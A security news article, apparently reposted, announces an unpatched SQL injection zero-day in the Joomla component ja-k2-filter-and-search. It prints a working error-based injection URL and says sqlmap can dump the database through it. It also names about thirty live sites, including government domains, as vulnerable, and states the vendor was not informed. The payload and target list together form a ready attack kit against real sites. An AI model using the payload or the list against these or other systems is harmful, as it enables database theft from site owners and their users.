SQL Injection zero-day in component ja-k2-filter-and-search of Joomla

Share this…

Information Security experts have discovered an SQL injection zero-day vulnerability in Joomla component ja-k2-filter-and-search.

Information Security Researchers Dimitrios Roussis and Evangelos Apostoloudis have discovered an SQL injection vulnerability in component ja-k2-filter-and-search(https://www.joomlart.com/joomla/extensions/ja-k2-search) of Joomla, a popular open-source Content Management System (CMS).

This component has been used in various Joomla sites. Through the use of the sqlmap tool a malicious user is able to gain access to the website database revealing very critical or sensitive data in some cases

This vulnerability has not been yet detected or published in any international website. In addition, the component developer has not been informed about this critical issue so that all well-known databases are updated. Therefore this vulnerability is considered as a zero-day.

Proof of Concept

Any joomla website making use of the particular component can be checked for this vulnerability through the following request.

(WhateverSite)/index.php?category_id=(select%201%20and%20row(1%2c1)%3E(select%20count(*)%2cconcat(concat(CHAR(52)%2cCHAR(67)%2cCHAR(117)%2cCHAR(117)%2cCHAR(82)%2cCHAR(57)%2cCHAR(71)%2cCHAR(65)%2cCHAR(77)%2cCHAR(98)%2cCHAR(77))%2cfloor(rand()*2))x%20from%20(select%201%20union%20select%202)a%20group%20by%20x%20limit%201))&Itemid=135&option=com_jak2filter&searchword=the&view=itemlist&xf_2=5%27

As a result, the following error message is displayed proving the presence of vulnerability.

ja-k2-filter-and-search-joomla-flaw

By using the Sqlmap and the given URL it is evident that a dump of the database can be achieved.

List of  Vulnerable Sites

https://www.active-business.gr/

https://www.aquariancladding.co.uk/

https://www.arhitektura.mrt.gov.me/

Home

https://www.bathroom-shop.gr/

https://www.beactive.cy/

https://www.bowmansales.com/

https://www.cmvcapanema.pr.gov.br/

https://www.dao-bzh.org/

https://www.edeskati.gr/

https://www.gardeshgar-ir.com/

https://www.getravel.gr/

https://www.gndr.org/

https://www.holiday116.ru/

https://www.html-template.ru/

https://www.igctravel.co.uk/

https://www.international-nightlife.com/

https://www.internationalweddinginstitute.com/

https://www.kidsland-nsk.ru/

https://www.kingstonrv.com/

https://www.l-proekt.com/

https://www.mauritanie-online.com/

https://www.mice.ru/

https://www.nchasia.com/

https://www.ohg-bensberg.de/

https://www.rustyoptical.com/

https://www.seam.gr/

https://www.sherdoust.ir/

Homepage

https://www.transitec.net/

Home

https://proyectostipo.dnp.gov.co

https://www.lvivrada.gov.ua/

https://www.lvivrada.gov.ua/

https://www.moriel.org/

Source:https://securityaffairs.co/